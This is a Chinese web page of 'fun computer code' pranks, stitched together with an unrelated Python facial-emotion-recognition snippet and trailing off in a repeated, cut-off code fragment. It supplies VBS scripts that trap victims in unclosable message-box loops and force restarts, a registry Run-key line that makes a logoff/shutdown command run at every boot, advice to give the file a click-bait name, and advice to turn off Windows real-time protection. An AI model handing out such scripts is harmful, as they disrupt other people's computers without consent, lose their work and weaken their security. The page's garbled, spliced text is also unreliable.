電腦好玩代碼？1.1 在電腦桌面新建一個(gè)TXT文本文件。1.2 在txt文件里，輸入以下代碼：```vbs msgbox "XXX"```請(qǐng)注意，一定要包含`do`和`loop`關(guān)鍵字。這是窗口無(wú)法關(guān)閉的秘密。1.3 文件名可以任意起，最好起一個(gè)能激發(fā)好奇心、讓人想要點(diǎn)擊的名字。記得將文件的擴(kuò)展名改為`.vbs`或`.vbe`，那么，電腦好玩代碼？一起來(lái)了解一下吧。
一、（關(guān)不掉）的重復(fù)顯示窗口
這個(gè)代碼在window系統(tǒng)里就能實(shí)現(xiàn)，可以整蠱一下你身邊的朋友（本湯姆已經(jīng)整過(guò)杰瑞了嘿嘿）
1.1 在電腦桌面新建一個(gè)TXT文本
1.2 在txt文件里里，輸入msgbox“XXX”（引號(hào)里面就是彈窗會(huì)出現(xiàn)的內(nèi)容）。
要記得do，loop一定要寫(xiě)哦！關(guān)不掉的原因就是它。
1.3 文件名任意寫(xiě)，盡量起一些會(huì)讓人好奇點(diǎn)擊的名字。記得擴(kuò)展名寫(xiě)vbs/vbe，保存類(lèi)型也要改成所有文件
然后就大功告成了！生成了這樣一個(gè)文件：
雙擊打開(kāi)，來(lái)看效果怎樣：
然后你就可以在旁邊，看你暴躁的朋友因?yàn)殛P(guān)不掉窗口著急跳腳了。
如果想要關(guān)掉，用任務(wù)管理器強(qiáng)制關(guān)掉就可以啦。
也有朋友程序打不開(kāi)，遇到這種情況
記得去安全中心，把“實(shí)時(shí)保護(hù)”關(guān)掉，就可以解決了。
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v aaa /t REG_SZ /d %0 /f ---此句是說(shuō)往注冊(cè)表里添加內(nèi)容.怕添加的內(nèi)容就是下面兩句話.添加的內(nèi)容放在每次的開(kāi)機(jī)時(shí)運(yùn)行.
c:\windows\system32\shutdown -r -t 2008
---此句中 -r 是說(shuō)關(guān)閉并重啟計(jì)算機(jī). -t 2008 是說(shuō)關(guān)閉計(jì)算機(jī)延遲時(shí)間為 2008秒
c:\windows\system32\shutdown -l -t 0 ---
---此句中 -l 是說(shuō)注銷(xiāo)計(jì)算機(jī). -t 0 是說(shuō)注銷(xiāo)延遲時(shí)間為0秒.
#coding=utf-8
#表情識(shí)別
import cv2
from keras.models import load_model
import numpy as np
import chineseText
import datetime
startTime = datetime.datetime.now()
emotion_classifier = load_model(
'classifier/emotion_models/simple_CNN.530-0.65.hdf5')
endTime = datetime.datetime.now()
print(endTime - startTime)
emotion_labels = {
0: '生氣',
1: '厭惡',
2: '恐懼',
3: '開(kāi)心',
4: '難過(guò)',
5: '驚喜',
6: '平靜'
}
img = cv2.imread("img/emotion/emotion.png")
face_classifier = cv2.CascadeClassifier(
"C:\Python36\Lib\site-packages\opencv-master\data\haarcascades\haarcascade_frontalface_default.xml"
)
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_classifier.detectMultiScale(
gray, scaleFactor=1.2, minNeighbors=3, minSize=(40, 40))
color = (255, 0, 0)
for (x, y, w, h) in faces:
gray_face = gray[(y):(y + h), (x):(x + w)]
gray_face = cv2.resize(gray_face, (48, 48))
gray_face = gray_face / 255.0
gray_face = np.expand_dims(gray_face, 0)
gray_face = np.expand_dims(gray_face, -1)
emotion_label_arg = np.argmax(emotion_classifier.predict(gray_face))
emotion = emotion_labels[emotion_label_arg]
cv2.rectangle(img, (x + 10, y + 10), (x + h - 10, y + w - 10),
(255, 255, 255), 2)
img = chineseText.cv2ImgAddText(img, emotion, x + h * 0.3, y, color, 20)
cv2.imshow("Image", img)
cv2.waitKey(0)
cv2.destroyAllWindows()
復(fù)制以下代碼粘貼到筆記本里，再把后綴名改為.vbs
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說(shuō)我是豬，不說(shuō)我是豬就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a= inputbox ("說(shuō)我是豬,就不關(guān)機(jī)，快撒，說(shuō) ""我是豬"" ","說(shuō)不說(shuō)","不說(shuō)",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過(guò)癮"
今天給大家?guī)?lái)一個(gè)整人的VBS腳本，對(duì)方不說(shuō)“我是豬”就定時(shí)關(guān)機(jī)的惡搞腳本，如果把他發(fā)給你的好友 他不懂的話如果不輸“我是豬“” 電腦就會(huì)在你設(shè)定的時(shí)間內(nèi)關(guān)機(jī)。我在以下代碼內(nèi)設(shè)置的是3分鐘。
新建文本文檔，復(fù)制代碼。
代碼如下: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說(shuō)我是豬，不說(shuō)我是豬就一分鐘關(guān)你機(jī)，不信，你試試···"" ",0 ,true dim a do while(a"我是豬") a = inputbox ("說(shuō)我是豬,就不關(guān)機(jī)，快撒，說(shuō) ""我是豬""","說(shuō)不說(shuō)","不說(shuō)",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛,呵呵，豬" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過(guò)癮"
其中，cmd.exe /c shutdown -r -t 180 -c這里的數(shù)字可以修改關(guān)機(jī)時(shí)間為任意（秒）
保存記事本文檔，把txt文件的后綴名txt改成vbs。
以上就是電腦好玩代碼的全部?jī)?nèi)容，WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說(shuō)我是豬，不說(shuō)我是豬就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true dim a do while(a <> "我是豬")a= inputbox ("說(shuō)我是豬,就不關(guān)機(jī)，快撒，內(nèi)容來(lái)源于互聯(lián)網(wǎng)，信息真?zhèn)涡枳孕斜鎰e。如有侵權(quán)請(qǐng)聯(lián)系刪除。
